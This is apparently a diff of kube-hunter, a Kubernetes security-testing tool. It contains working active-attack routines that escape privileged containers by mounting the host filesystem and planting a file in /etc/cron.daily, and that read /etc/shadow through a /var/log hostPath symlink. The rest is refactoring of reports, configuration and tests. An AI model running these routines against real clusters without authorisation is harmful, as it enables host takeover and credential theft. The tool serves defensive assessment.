number_of_rm_attempts,
number_of_umount_attempts,
number_of_rmdir_attempts,
seconds_to_wait_for_os_command,
):
self.rm_command(
run_request_url,
f"{directory_created}/etc/cron.daily/{file_created}",
number_of_rm_attempts,
seconds_to_wait_for_os_command,
)
self.umount_command(
run_request_url,
file_system_or_partition,
directory_created,
number_of_umount_attempts,
seconds_to_wait_for_os_command,
)
self.rmdir_command(
run_request_url,
directory_created,
number_of_rmdir_attempts,
seconds_to_wait_for_os_command,
)
def check_file_exists(self, run_request_url, file):
file_exists = self.ls_command(run_request_url=run_request_url, file_or_directory=file)
return ProveAnonymousAuth.has_no_error_nor_exception(file_exists)
def rm_command(self, run_request_url, file_to_remove, number_of_rm_attempts, seconds_to_wait_for_os_command):
if self.check_file_exists(run_request_url, file_to_remove):
for _ in range(number_of_rm_attempts):
command_execution_outcome = self.post_request(run_request_url, {"cmd": f"rm -f {file_to_remove}"})
if seconds_to_wait_for_os_command:
time.sleep(seconds_to_wait_for_os_command)
first_check = ProveAnonymousAuth.has_no_error_nor_exception(command_execution_outcome)
second_check = self.check_file_exists(run_request_url, file_to_remove)
if first_check and not second_check:
return True
pod_id = run_request_url.replace(self.base_url + "run/", "").split("/")[1]
container_name = run_request_url.replace(self.base_url + "run/", "").split("/")[2]
logger.warning(
"kube-hunter: "
+ "POD="
+ pod_id
+ ", "
+ "CONTAINER="
+ container_name
+ " - Unable to remove file: "
+ file_to_remove
)
return False
def chmod_command(self, run_request_url, permissions, file):
return self.post_request(run_request_url, {"cmd": f"chmod {permissions} {file}"})
def touch_command(self, run_request_url, file_to_create):
return self.post_request(run_request_url, {"cmd": f"touch {file_to_create}"})
def attack_exposed_existing_privileged_container(
self, run_request_url, directory_created, number_of_rm_attempts, seconds_to_wait_for_os_command, file_name=None
):
if file_name is None:
file_name = "kube-hunter" + str(uuid.uuid1())
file_name_with_path = f"{directory_created}/etc/cron.daily/{file_name}"
file_created = self.touch_command(run_request_url, file_name_with_path)
if ProveAnonymousAuth.has_no_error_nor_exception(file_created):
permissions_changed = self.chmod_command(run_request_url, "755", file_name_with_path)
if ProveAnonymousAuth.has_no_error_nor_exception(permissions_changed):
return {"result": True, "file_created": file_name}
self.rm_command(run_request_url, file_name_with_path, number_of_rm_attempts, seconds_to_wait_for_os_command)
return {"result": False}
def check_directory_exists(self, run_request_url, directory):
directory_exists = self.ls_command(run_request_url=run_request_url, file_or_directory=directory)
return ProveAnonymousAuth.has_no_error_nor_exception(directory_exists)
def rmdir_command(
self,
run_request_url,
directory_to_remove,
number_of_rmdir_attempts,
seconds_to_wait_for_os_command,
):
if self.check_directory_exists(run_request_url, directory_to_remove):
for _ in range(number_of_rmdir_attempts):
command_execution_outcome = self.post_request(run_request_url, {"cmd": f"rmdir {directory_to_remove}"})
if seconds_to_wait_for_os_command:
time.sleep(seconds_to_wait_for_os_command)
first_check = ProveAnonymousAuth.has_no_error_nor_exception(command_execution_outcome)
second_check = self.check_directory_exists(run_request_url, directory_to_remove)
if first_check and not second_check:
return True
pod_id = run_request_url.replace(self.base_url + "run/", "").split("/")[1]
container_name = run_request_url.replace(self.base_url + "run/", "").split("/")[2]
logger.warning(
"kube-hunter: "
+ "POD="
+ pod_id
+ ", "
+ "CONTAINER="
+ container_name
+ " - Unable to remove directory: "
+ directory_to_remove
)
return False
def ls_command(self, run_request_url, file_or_directory):
return self.post_request(run_request_url, {"cmd": f"ls {file_or_directory}"})
def umount_command(
self,
run_request_url,
file_system_or_partition,
directory,
number_of_umount_attempts,
seconds_to_wait_for_os_command,
):
# Note: the logic implemented proved more reliable than using "df"
# command to resolve for mounted systems/partitions.
current_files_and_directories = self.ls_command(run_request_url, directory)
if self.ls_command(run_request_url, directory) == current_files_and_directories:
for _ in range(number_of_umount_attempts):
# Ref: http://man7.org/linux/man-pages/man2/umount.2.html
command_execution_outcome = self.post_request(
run_request_url, {"cmd": f"umount {file_system_or_partition} {directory}"}
)
if seconds_to_wait_for_os_command:
time.sleep(seconds_to_wait_for_os_command)
first_check = ProveAnonymousAuth.has_no_error_nor_exception(command_execution_outcome)
second_check = self.ls_command(run_request_url, directory) != current_files_and_directories
if first_check and second_check:
return True
pod_id = run_request_url.replace(self.base_url + "run/", "").split("/")[1]
container_name = run_request_url.replace(self.base_url + "run/", "").split("/")[2]
logger.warning(
"kube-hunter: "
+ "POD="
+ pod_id
+ ", "
+ "CONTAINER="
+ container_name
+ " - Unable to unmount "
+ file_system_or_partition
+ " at: "
+ directory
)
return False
def mount_command(self, run_request_url, file_system_or_partition, directory):
# Ref: http://man7.org/linux/man-pages/man1/mkdir.1.html
return self.post_request(run_request_url, {"cmd": f"mount {file_system_or_partition} {directory}"})
def mkdir_command(self, run_request_url, directory_to_create):
# Ref: http://man7.org/linux/man-pages/man1/mkdir.1.html
return self.post_request(run_request_url, {"cmd": f"mkdir {directory_to_create}"})
def findfs_command(self, run_request_url, file_system_or_partition_type, file_system_or_partition):
# Ref: http://man7.org/linux/man-pages/man8/findfs.8.html
return self.post_request(
run_request_url, {"cmd": f"findfs {file_system_or_partition_type}{file_system_or_partition}"}
)
def get_root_values(self, command_line):
for command in command_line.split(" "):
# Check for variable-definition commands as there can be commands which don't define variables.
if "=" in command:
split = command.split("=")
if split[0] == "root":
if len(split) > 2:
# Potential valid scenario: root=LABEL=example
root_value_type = split[1] + "="
root_value = split[2]
return root_value, root_value_type
else:
root_value_type = ""
root_value = split[1]
return root_value, root_value_type
return None, None
def process_exposed_existing_privileged_container(
self,
run_request_url,
number_of_umount_attempts,
number_of_rmdir_attempts,
seconds_to_wait_for_os_command,
directory_to_create=None,
):
if directory_to_create is None:
directory_to_create = "/kube-hunter_" + str(uuid.uuid1())
# /proc/cmdline - This file shows the parameters passed to the kernel at the time it is started.
command_line = self.cat_command(run_request_url, "/proc/cmdline")
if ProveAnonymousAuth.has_no_error_nor_exception(command_line):
if len(command_line.split(" ")) > 0:
root_value, root_value_type = self.get_root_values(command_line)
# Move forward only when the "root" variable value was actually defined.
if root_value:
if root_value_type:
file_system_or_partition = self.findfs_command(run_request_url, root_value_type, root_value)
else:
file_system_or_partition = root_value
if ProveAnonymousAuth.has_no_error_nor_exception(file_system_or_partition):
directory_created = self.mkdir_command(run_request_url, directory_to_create)
if ProveAnonymousAuth.has_no_error_nor_exception(directory_created):
directory_created = directory_to_create
mounted_file_system_or_partition = self.mount_command(
run_request_url, file_system_or_partition, directory_created
)
if ProveAnonymousAuth.has_no_error_nor_exception(mounted_file_system_or_partition):
host_name = self.cat_command(run_request_url, f"{directory_created}/etc/hostname")
if ProveAnonymousAuth.has_no_error_nor_exception(host_name):
return {
"result": True,
"file_system_or_partition": file_system_or_partition,
"directory_created": directory_created,
}
self.umount_command(
run_request_url,
file_system_or_partition,
directory_created,
number_of_umount_attempts,
seconds_to_wait_for_os_command,
)
self.rmdir_command(
run_request_url,
directory_created,
number_of_rmdir_attempts,
seconds_to_wait_for_os_command,
)
return {"result": False}
def execute(self, directory_to_create=None, file_name=None):
temp_message = ""
for exposed_existing_privileged_containers in self.event.exposed_existing_privileged_containers:
pod_namespace = exposed_existing_privileged_containers["pod_namespace"]
pod_id = exposed_existing_privileged_containers["pod_id"]
container_name = exposed_existing_privileged_containers["container_name"]
run_request_url = self.base_url + f"run/{pod_namespace}/{pod_id}/{container_name}"
is_exposed_existing_privileged_container_privileged = self.process_exposed_existing_privileged_container(
run_request_url,
self.number_of_umount_attempts,
self.number_of_rmdir_attempts,
self.seconds_to_wait_for_os_command,
directory_to_create,
)
if is_exposed_existing_privileged_container_privileged["result"]:
file_system_or_partition = is_exposed_existing_privileged_container_privileged[
"file_system_or_partition"
]
directory_created = is_exposed_existing_privileged_container_privileged["directory_created"]
# Execute attack attempt: start/modify process in host.
attack_successful_on_exposed_privileged_container = self.attack_exposed_existing_privileged_container(
run_request_url,
directory_created,
self.number_of_rm_attempts,
self.seconds_to_wait_for_os_command,
file_name,
)
if attack_successful_on_exposed_privileged_container["result"]:
file_created = attack_successful_on_exposed_privileged_container["file_created"]
self.clean_attacked_exposed_existing_privileged_container(
run_request_url,
file_system_or_partition,
directory_created,
file_created,
self.number_of_rm_attempts,
self.number_of_umount_attempts,
self.number_of_rmdir_attempts,
self.seconds_to_wait_for_os_command,
)
temp_message += "\n\nPod namespace: {}\n\nPod ID: {}\n\nContainer name: {}".format(
pod_namespace, pod_id, container_name
)
if temp_message:
message = (
"The following exposed existing privileged containers"
+ " have been successfully abused by starting/modifying a process in the host."
+ temp_message
)
self.event.evidence = f"{message}"
else:
message = (
"The following exposed existing privileged containers"
+ " were not successfully abused by starting/modifying a process in the host."
+ "Keep in mind that attackers might use other methods to attempt to abuse them."
+ temp_message
)
self.event.evidence = f"{message}"
@handler.subscribe(ExposedRunHandler)
class ProveRunHandler(ActiveHunter):
"""Kubelet Run Hunter
@@ -1043,7 +434,6 @@ class ProveRunHandler(ActiveHunter):
self.base_path = f"https://{self.event.host}:{self.event.port}"
def run(self, command, container):
config = get_config()
run_url = KubeletHandlers.RUN.value.format(
pod_namespace=container["namespace"],
pod_id=container["pod"],
@@ -1051,22 +441,17 @@ class ProveRunHandler(ActiveHunter):
cmd=command,
)
return self.event.session.post(
f"{self.base_path}/{run_url}",
verify=False,
timeout=config.network_timeout,
f"{self.base_path}/{run_url}", verify=False, timeout=config.network_timeout,
).text
def execute(self):
config = get_config()
r = self.event.session.get(
f"{self.base_path}/" + KubeletHandlers.PODS.value,
verify=False,
timeout=config.network_timeout,
self.base_path + KubeletHandlers.PODS.value, verify=False, timeout=config.network_timeout,
)
if "items" in r.text:
pods_data = r.json()["items"]
for pod_data in pods_data:
container_data = pod_data["spec"]["containers"][0]
container_data = next(pod_data["spec"]["containers"])
if container_data:
output = self.run(
"uname -a",
@@ -1093,16 +478,13 @@ class ProveContainerLogsHandler(ActiveHunter):
self.base_url = f"{protocol}://{self.event.host}:{self.event.port}/"
def execute(self):
config = get_config()
pods_raw = self.event.session.get(
self.base_url + KubeletHandlers.PODS.value,
verify=False,
timeout=config.network_timeout,
self.base_url + KubeletHandlers.PODS.value, verify=False, timeout=config.network_timeout,
).text
if "items" in pods_raw:
pods_data = json.loads(pods_raw)["items"]
for pod_data in pods_data:
container_data = pod_data["spec"]["containers"][0]
container_data = next(pod_data["spec"]["containers"])
if container_data:
container_name = container_data["name"]
output = requests.get(
@@ -1131,21 +513,15 @@ class ProveSystemLogs(ActiveHunter):
self.base_url = f"https://{self.event.host}:{self.event.port}"
def execute(self):
config = get_config()
audit_logs = self.event.session.get(
f"{self.base_url}/" + KubeletHandlers.LOGS.value.format(path="audit/audit.log"),
verify=False,
timeout=config.network_timeout,
)
# TODO: add more methods for proving system logs
if audit_logs.status_code == requests.status_codes.codes.OK:
logger.debug(f"Audit log of host {self.event.host}: {audit_logs.text[:10]}")
# iterating over proctitles and converting them into readable strings
proctitles = []
for proctitle in re.findall(r"proctitle=(\w+)", audit_logs.text):
proctitles.append(bytes.fromhex(proctitle).decode("utf-8").replace("\x00", " "))
self.event.proctitles = proctitles
self.event.evidence = f"audit log: {proctitles}"
else:
self.event.evidence = "Could not parse system logs"
).text
logger.debug(f"Audit log of host {self.event.host}: {audit_logs[:10]}")
# iterating over proctitles and converting them into readable strings
proctitles = []
for proctitle in re.findall(r"proctitle=(\w+)", audit_logs):
proctitles.append(bytes.fromhex(proctitle).decode("utf-8").replace("\x00", " "))
self.event.proctitles = proctitles
self.event.evidence = f"audit log: {proctitles}"

View File

@@ -2,10 +2,15 @@ import logging
import re
import uuid
from kube_hunter.conf import get_config
from kube_hunter.conf import config
from kube_hunter.core.events import handler
from kube_hunter.core.events.types import Event, Vulnerability
from kube_hunter.core.types import ActiveHunter, Hunter, KubernetesCluster, HostPathMountPrivilegeEscalationTechnique
from kube_hunter.core.types import (
ActiveHunter,
Hunter,
KubernetesCluster,
PrivilegeEscalation,
)
from kube_hunter.modules.hunting.kubelet import (
ExposedPodsHandler,
ExposedRunHandler,
@@ -20,14 +25,10 @@ class WriteMountToVarLog(Vulnerability, Event):
def __init__(self, pods):
Vulnerability.__init__(
self,
KubernetesCluster,
"Pod With Mount To /var/log",
category=HostPathMountPrivilegeEscalationTechnique,
vid="KHV047",
self, KubernetesCluster, "Pod With Mount To /var/log", category=PrivilegeEscalation, vid="KHV047",
)
self.pods = pods
self.evidence = "pods: {}".format(", ".join(pod["metadata"]["name"] for pod in self.pods))
self.evidence = "pods: {}".format(", ".join((pod["metadata"]["name"] for pod in self.pods)))
class DirectoryTraversalWithKubelet(Vulnerability, Event):
@@ -36,13 +37,10 @@ class DirectoryTraversalWithKubelet(Vulnerability, Event):
def __init__(self, output):
Vulnerability.__init__(
self,
KubernetesCluster,
"Root Traversal Read On The Kubelet",
category=HostPathMountPrivilegeEscalationTechnique,
self, KubernetesCluster, "Root Traversal Read On The Kubelet", category=PrivilegeEscalation,
)
self.output = output
self.evidence = f"output: {self.output}"
self.evidence = "output: {}".format(self.output)
@handler.subscribe(ExposedPodsHandler)
@@ -72,27 +70,33 @@ class VarLogMountHunter(Hunter):
self.publish_event(WriteMountToVarLog(pods=pe_pods))
@handler.subscribe_many([ExposedRunHandler, WriteMountToVarLog])
@handler.subscribe(ExposedRunHandler)
class ProveVarLogMount(ActiveHunter):
"""Prove /var/log Mount Hunter
Tries to read /etc/shadow on the host by running commands inside a pod with host mount to /var/log
"""
def __init__(self, event):
self.write_mount_event = self.event.get_by_class(WriteMountToVarLog)
self.event = self.write_mount_event
self.base_path = f"https://{self.write_mount_event.host}:{self.write_mount_event.port}"
self.event = event
self.base_path = f"https://{self.event.host}:{self.event.port}"
def run(self, command, container):
run_url = KubeletHandlers.RUN.value.format(
podNamespace=container["namespace"],
podID=container["pod"],
containerName=container["name"],
cmd=command,
podNamespace=container["namespace"], podID=container["pod"], containerName=container["name"], cmd=command,
)
return self.event.session.post(f"{self.base_path}/{run_url}", verify=False).text
# TODO: replace with multiple subscription to WriteMountToVarLog as well
def get_varlog_mounters(self):
logger.debug("accessing /pods manually on ProveVarLogMount")
pods = self.event.session.get(
f"{self.base_path}/" + KubeletHandlers.PODS.value, verify=False, timeout=config.network_timeout,
).json()["items"]
for pod in pods:
volume = VarLogMountHunter(ExposedPodsHandler(pods=pods)).has_write_mount_to(pod, "/var/log")
if volume:
yield pod, volume
def mount_path_from_mountname(self, pod, mount_name):
"""returns container name, and container mount path correlated to mount_name"""
for container in pod["spec"]["containers"]:
@@ -103,7 +107,6 @@ class ProveVarLogMount(ActiveHunter):
def traverse_read(self, host_file, container, mount_path, host_path):
"""Returns content of file on the host, and cleans trails"""
config = get_config()
symlink_name = str(uuid.uuid4())
# creating symlink to file
self.run(f"ln -s {host_file} {mount_path}/{symlink_name}", container)
@@ -112,16 +115,14 @@ class ProveVarLogMount(ActiveHunter):
path=re.sub(r"^/var/log", "", host_path) + symlink_name
)
content = self.event.session.get(
f"{self.base_path}/{path_in_logs_endpoint}",
verify=False,
timeout=config.network_timeout,
f"{self.base_path}/{path_in_logs_endpoint}", verify=False, timeout=config.network_timeout,
).text
# removing symlink
self.run(f"rm {mount_path}/{symlink_name}", container=container)
return content
def execute(self):
for pod, volume in self.write_mount_event.pe_pods():
for pod, volume in self.get_varlog_mounters():
for container, mount_path in self.mount_path_from_mountname(pod, volume["name"]):
logger.debug("Correlated container to mount_name")
cont = {
@@ -131,10 +132,7 @@ class ProveVarLogMount(ActiveHunter):
}
try:
output = self.traverse_read(
"/etc/shadow",
container=cont,
mount_path=mount_path,
host_path=volume["hostPath"]["path"],
"/etc/shadow", container=cont, mount_path=mount_path, host_path=volume["hostPath"]["path"],
)
self.publish_event(DirectoryTraversalWithKubelet(output=output))
except Exception:

View File

@@ -3,14 +3,14 @@ import requests
from enum import Enum
from kube_hunter.conf import get_config
from kube_hunter.conf import config
from kube_hunter.core.events import handler
from kube_hunter.core.events.types import Event, Vulnerability, K8sVersionDisclosure
from kube_hunter.core.types import (
ActiveHunter,
Hunter,
KubernetesCluster,
ConnectFromProxyServerTechnique,
InformationDisclosure,
)
from kube_hunter.modules.discovery.dashboard import KubeDashboardEvent
from kube_hunter.modules.discovery.proxy import KubeProxyEvent
@@ -23,11 +23,7 @@ class KubeProxyExposed(Vulnerability, Event):
def __init__(self):
Vulnerability.__init__(
self,
KubernetesCluster,
"Proxy Exposed",
category=ConnectFromProxyServerTechnique,
vid="KHV049",
self, KubernetesCluster, "Proxy Exposed", category=InformationDisclosure, vid="KHV049",
)
@@ -57,13 +53,11 @@ class KubeProxy(Hunter):
@property
def namespaces(self):
config = get_config()
resource_json = requests.get(f"{self.api_url}/namespaces", timeout=config.network_timeout).json()
return self.extract_names(resource_json)
@property
def services(self):
config = get_config()
# map between namespaces and service names
services = dict()
for namespace in self.namespaces:
@@ -91,11 +85,8 @@ class ProveProxyExposed(ActiveHunter):
self.event = event
def execute(self):
config = get_config()
version_metadata = requests.get(
f"http://{self.event.host}:{self.event.port}/version",
verify=False,
timeout=config.network_timeout,
f"http://{self.event.host}:{self.event.port}/version", verify=False, timeout=config.network_timeout,
).json()
if "buildDate" in version_metadata:
self.event.evidence = "build date: {}".format(version_metadata["buildDate"])
@@ -111,18 +102,12 @@ class K8sVersionDisclosureProve(ActiveHunter):
self.event = event
def execute(self):
config = get_config()
version_metadata = requests.get(
f"http://{self.event.host}:{self.event.port}/version",
verify=False,
timeout=config.network_timeout,
f"http://{self.event.host}:{self.event.port}/version", verify=False, timeout=config.network_timeout,
).json()
if "gitVersion" in version_metadata:
self.publish_event(
K8sVersionDisclosure(
version=version_metadata["gitVersion"],
from_endpoint="/version",
extra_info="on kube-proxy",
category=ConnectFromProxyServerTechnique,
version=version_metadata["gitVersion"], from_endpoint="/version", extra_info="on kube-proxy",
)
)

View File

@@ -3,35 +3,32 @@ import os
from kube_hunter.core.events import handler
from kube_hunter.core.events.types import Vulnerability, Event
from kube_hunter.core.types import Hunter, KubernetesCluster, AccessContainerServiceAccountTechnique
from kube_hunter.core.types import Hunter, KubernetesCluster, AccessRisk
from kube_hunter.modules.discovery.hosts import RunningAsPodEvent
logger = logging.getLogger(__name__)
class ServiceAccountTokenAccess(Vulnerability, Event):
"""Accessing the pod service account token gives an attacker the option to use the server API"""
""" Accessing the pod service account token gives an attacker the option to use the server API """
def __init__(self, evidence):
Vulnerability.__init__(
self,
KubernetesCluster,
name="Read access to pod's service account token",
category=AccessContainerServiceAccountTechnique,
category=AccessRisk,
vid="KHV050",
)
self.evidence = evidence
class SecretsAccess(Vulnerability, Event):
"""Accessing the pod's secrets within a compromised pod might disclose valuable data to a potential attacker"""
""" Accessing the pod's secrets within a compromised pod might disclose valuable data to a potential attacker"""
def __init__(self, evidence):
Vulnerability.__init__(
self,
component=KubernetesCluster,
name="Access to pod's secrets",
category=AccessContainerServiceAccountTechnique,
self, component=KubernetesCluster, name="Access to pod's secrets", category=AccessRisk,
)
self.evidence = evidence
@@ -53,7 +50,7 @@ class AccessSecrets(Hunter):
for dirname, _, files in os.walk("/var/run/secrets/"):
for f in files:
self.secrets_evidence.append(os.path.join(dirname, f))
return len(self.secrets_evidence) > 0
return True if (len(self.secrets_evidence) > 0) else False
def execute(self):
if self.event.auth_token is not None:

View File

@@ -1,2 +1,3 @@
# flake8: noqa: E402
from kube_hunter.modules.report.factory import get_reporter, get_dispatcher
__all__ = [get_reporter, get_dispatcher]

View File

@@ -7,11 +7,8 @@ from kube_hunter.modules.report.collector import (
vulnerabilities_lock,
)
BASE_KB_LINK = "https://avd.aquasec.com/"
FULL_KB_LINK = "https://avd.aquasec.com/kube-hunter/{vid}/"
class BaseReporter:
class BaseReporter(object):
def get_nodes(self):
nodes = list()
node_locations = set()
@@ -36,12 +33,11 @@ class BaseReporter:
{
"location": vuln.location(),
"vid": vuln.get_vid(),
"category": vuln.category.get_name(),
"category": vuln.category.name,
"severity": vuln.get_severity(),
"vulnerability": vuln.get_name(),
"description": vuln.explain(),
"evidence": str(vuln.evidence),
"avd_reference": FULL_KB_LINK.format(vid=vuln.get_vid().lower()),
"hunter": vuln.hunter.get_name(),
}
for vuln in vulnerabilities
@@ -67,4 +63,6 @@ class BaseReporter:
if statistics:
report["hunter_statistics"] = self.get_hunter_statistics()
report["kburl"] = "https://aquasecurity.github.io/kube-hunter/kb/{vid}"
return report

View File

@@ -1,7 +1,7 @@
import logging
import threading
from kube_hunter.conf import get_config
from kube_hunter.conf import config
from kube_hunter.core.events import handler
from kube_hunter.core.events.types import (
Event,
@@ -14,16 +14,20 @@ from kube_hunter.core.events.types import (
logger = logging.getLogger(__name__)
global services_lock
services_lock = threading.Lock()
services = list()
global vulnerabilities_lock
vulnerabilities_lock = threading.Lock()
vulnerabilities = list()
hunters = handler.all_hunters
@handler.subscribe(Service)
@handler.subscribe(Vulnerability)
class Collector:
class Collector(object):
def __init__(self, event=None):
self.event = event
@@ -47,12 +51,11 @@ class TablesPrinted(Event):
@handler.subscribe(HuntFinished)
class SendFullReport:
class SendFullReport(object):
def __init__(self, event):
self.event = event
def execute(self):
config = get_config()
report = config.reporter.get_report(statistics=config.statistics, mapping=config.mapping)
config.dispatcher.dispatch(report)
handler.publish_event(ReportDispatched())
@@ -60,7 +63,7 @@ class SendFullReport:
@handler.subscribe(HuntStarted)
class StartedInfo:
class StartedInfo(object):
def __init__(self, event):
self.event = event

View File

@@ -5,17 +5,14 @@ import requests
logger = logging.getLogger(__name__)
class HTTPDispatcher:
class HTTPDispatcher(object):
def dispatch(self, report):
logger.debug("Dispatching report via HTTP")
dispatch_method = os.environ.get("KUBEHUNTER_HTTP_DISPATCH_METHOD", "POST").upper()
dispatch_url = os.environ.get("KUBEHUNTER_HTTP_DISPATCH_URL", "https://localhost/")
try:
r = requests.request(
dispatch_method,
dispatch_url,
json=report,
headers={"Content-Type": "application/json"},
dispatch_method, dispatch_url, json=report, headers={"Content-Type": "application/json"},
)
r.raise_for_status()
logger.info(f"Report was dispatched to: {dispatch_url}")
@@ -27,7 +24,7 @@ class HTTPDispatcher:
logger.exception(f"Could not dispatch report to {dispatch_url}")
class STDOUTDispatcher:
class STDOUTDispatcher(object):
def dispatch(self, report):
logger.debug("Dispatching report via stdout")
print(report)

View File

@@ -1,10 +1,10 @@
import logging
from kube_hunter.modules.report.json import JSONReporter
from kube_hunter.modules.report.yaml import YAMLReporter
from kube_hunter.modules.report.plain import PlainReporter
from kube_hunter.modules.report.dispatchers import STDOUTDispatcher, HTTPDispatcher
import logging
logger = logging.getLogger(__name__)
DEFAULT_REPORTER = "plain"

View File

@@ -1,5 +1,4 @@
import json
from kube_hunter.modules.report.base import BaseReporter

View File

@@ -1,6 +1,8 @@
from __future__ import print_function
from prettytable import ALL, PrettyTable
from kube_hunter.modules.report.base import BaseReporter, BASE_KB_LINK
from kube_hunter.modules.report.base import BaseReporter
from kube_hunter.modules.report.collector import (
services,
vulnerabilities,
@@ -9,8 +11,9 @@ from kube_hunter.modules.report.collector import (
vulnerabilities_lock,
)
EVIDENCE_PREVIEW = 100
EVIDENCE_PREVIEW = 40
MAX_TABLE_WIDTH = 20
KB_LINK = "https://github.com/aquasecurity/kube-hunter/tree/master/docs/_kb"
class PlainReporter(BaseReporter):
@@ -43,6 +46,7 @@ class PlainReporter(BaseReporter):
if vulnerabilities_len:
output += self.vulns_table()
output += "\nKube Hunter couldn't find any clusters"
# print("\nKube Hunter couldn't find any clusters. {}".format("Maybe try with --active?" if not config.active else ""))
return output
def nodes_table(self):
@@ -59,7 +63,7 @@ class PlainReporter(BaseReporter):
if service.event_id not in id_memory:
nodes_table.add_row(["Node/Master", service.host])
id_memory.add(service.event_id)
nodes_ret = f"\nNodes\n{nodes_table}\n"
nodes_ret = "\nNodes\n{}\n".format(nodes_table)
services_lock.release()
return nodes_ret
@@ -83,7 +87,7 @@ class PlainReporter(BaseReporter):
column_names = [
"ID",
"Location",
"MITRE Category",
"Category",
"Vulnerability",
"Description",
"Evidence",
@@ -91,7 +95,7 @@ class PlainReporter(BaseReporter):
vuln_table = PrettyTable(column_names, hrules=ALL)
vuln_table.align = "l"
vuln_table.max_width = MAX_TABLE_WIDTH
vuln_table.sortby = "MITRE Category"
vuln_table.sortby = "Category"
vuln_table.reversesort = True
vuln_table.padding_width = 1
vuln_table.header_style = "upper"
@@ -101,11 +105,10 @@ class PlainReporter(BaseReporter):
evidence = str(vuln.evidence)
if len(evidence) > EVIDENCE_PREVIEW:
evidence = evidence[:EVIDENCE_PREVIEW] + "..."
row = [
vuln.get_vid(),
vuln.location(),
vuln.category.get_name(),
vuln.category.name,
vuln.get_name(),
vuln.explain(),
evidence,
@@ -114,7 +117,7 @@ class PlainReporter(BaseReporter):
return (
"\nVulnerabilities\n"
"For further information about a vulnerability, search its ID in: \n"
f"{BASE_KB_LINK}\n{vuln_table}\n"
f"{KB_LINK}\n{vuln_table}\n"
)
def hunters_table(self):

View File

@@ -1,23 +0,0 @@
import pluggy
from kube_hunter.plugins import hookspecs
hookimpl = pluggy.HookimplMarker("kube-hunter")
def initialize_plugin_manager():
"""
Initializes and loads all default and setup implementations for registered plugins
@return: initialized plugin manager
"""
pm = pluggy.PluginManager("kube-hunter")
pm.add_hookspecs(hookspecs)
pm.load_setuptools_entrypoints("kube_hunter")
# default registration of builtin implemented plugins
from kube_hunter.conf import parser
pm.register(parser)
return pm

View File

@@ -1,24 +0,0 @@
import pluggy
from argparse import ArgumentParser
hookspec = pluggy.HookspecMarker("kube-hunter")
@hookspec
def parser_add_arguments(parser: ArgumentParser):
"""Add arguments to the ArgumentParser.
If a plugin requires an aditional argument, it should implement this hook
and add the argument to the Argument Parser
@param parser: an ArgumentParser, calls parser.add_argument on it
"""
@hookspec
def load_plugin(args):
"""Plugins that wish to execute code after the argument parsing
should implement this hook.
@param args: all parsed arguments passed to kube-hunter
"""

View File

@@ -1,2 +0,0 @@
[mypy]
ignore_missing_imports = True

View File

@@ -1,3 +0,0 @@
from PyInstaller.utils.hooks import collect_all
datas, binaries, hiddenimports = collect_all("prettytable")

View File

@@ -2,7 +2,7 @@
flake8
pytest >= 2.9.1
requests-mock >= 1.8
requests-mock
coverage < 5.0
pytest-cov
setuptools >= 30.3.0
@@ -13,5 +13,4 @@ staticx
black
pre-commit
flake8-bugbear
flake8-mypy
pluggy
PrettyTable == 0.7.2

View File

@@ -22,8 +22,6 @@ classifiers =
Programming Language :: Python :: 3.6
Programming Language :: Python :: 3.7
Programming Language :: Python :: 3.8
Programming Language :: Python :: 3.9
Programming Language :: Python :: 3 :: Only
Topic :: Security
[options]
@@ -34,14 +32,11 @@ install_requires =
netifaces
scapy>=2.4.3
requests
PrettyTable
PrettyTable==0.7.2
urllib3>=1.24.3
ruamel.yaml
future
packaging
dataclasses
pluggy
kubernetes==12.0.1
setup_requires =
setuptools>=30.3.0
setuptools_scm

View File

@@ -1,7 +1,6 @@
from configparser import ConfigParser
from pkg_resources import parse_requirements
from subprocess import check_call
from typing import Any, List
from pkg_resources import parse_requirements
from configparser import ConfigParser
from setuptools import setup, Command
@@ -9,7 +8,7 @@ class ListDependenciesCommand(Command):
"""A custom command to list dependencies"""
description = "list package dependencies"
user_options: List[Any] = []
user_options = []
def initialize_options(self):
pass
@@ -28,7 +27,7 @@ class PyInstallerCommand(Command):
"""A custom command to run PyInstaller to build standalone executable."""
description = "run PyInstaller on kube-hunter entrypoint"
user_options: List[Any] = []
user_options = []
def initialize_options(self):
pass
@@ -41,8 +40,6 @@ class PyInstallerCommand(Command):
cfg.read("setup.cfg")
command = [
"pyinstaller",
"--additional-hooks-dir",
"pyinstaller_hooks",
"--clean",
"--onefile",
"--name",

View File

@@ -11,13 +11,12 @@ def test_setup_logger_level():
("NOTEXISTS", logging.INFO),
("BASIC_FORMAT", logging.INFO),
]
logFile = None
for level, expected in test_cases:
setup_logger(level, logFile)
setup_logger(level)
actual = logging.getLogger().getEffectiveLevel()
assert actual == expected, f"{level} level should be {expected} (got {actual})"
def test_setup_logger_none():
setup_logger("NONE", None)
setup_logger("NONE")
assert logging.getLogger().manager.disable == logging.CRITICAL

View File

@@ -1,16 +1,12 @@
import requests_mock
import json
from kube_hunter.conf import Config, set_config
from kube_hunter.core.events.types import NewHostEvent
set_config(Config())
# Testing if it doesn't try to run get_cloud if the cloud type is already set.
# get_cloud(1.2.3.4) will result with an error
def test_presetcloud():
"""Testing if it doesn't try to run get_cloud if the cloud type is already set.
get_cloud(1.2.3.4) will result with an error
"""
expcted = "AWS"
hostEvent = NewHostEvent(host="1.2.3.4", cloud=expcted)
assert expcted == hostEvent.cloud

View File

@@ -1,9 +1,3 @@
# flake8: noqa: E402
from kube_hunter.conf import Config, set_config
set_config(Config(active=True))
from kube_hunter.core.events.handler import handler
from kube_hunter.modules.discovery.apiserver import ApiServiceDiscovery
from kube_hunter.modules.discovery.dashboard import KubeDashboard as KubeDashboardDiscovery
@@ -28,13 +22,11 @@ from kube_hunter.modules.hunting.dashboard import KubeDashboard
from kube_hunter.modules.hunting.dns import DnsSpoofHunter
from kube_hunter.modules.hunting.etcd import EtcdRemoteAccess, EtcdRemoteAccessActive
from kube_hunter.modules.hunting.kubelet import (
ProveAnonymousAuth,
MaliciousIntentViaSecureKubeletPort,
ProveContainerLogsHandler,
ProveRunHandler,
ProveSystemLogs,
ReadOnlyKubeletPortHunter,
SecureKubeletPortHunter,
ProveRunHandler,
ProveContainerLogsHandler,
ProveSystemLogs,
)
from kube_hunter.modules.hunting.mounts import VarLogMountHunter, ProveVarLogMount
from kube_hunter.modules.hunting.proxy import KubeProxy, ProveProxyExposed, K8sVersionDisclosureProve
@@ -79,8 +71,6 @@ ACTIVE_HUNTERS = {
ProveVarLogMount,
ProveProxyExposed,
K8sVersionDisclosureProve,
ProveAnonymousAuth,
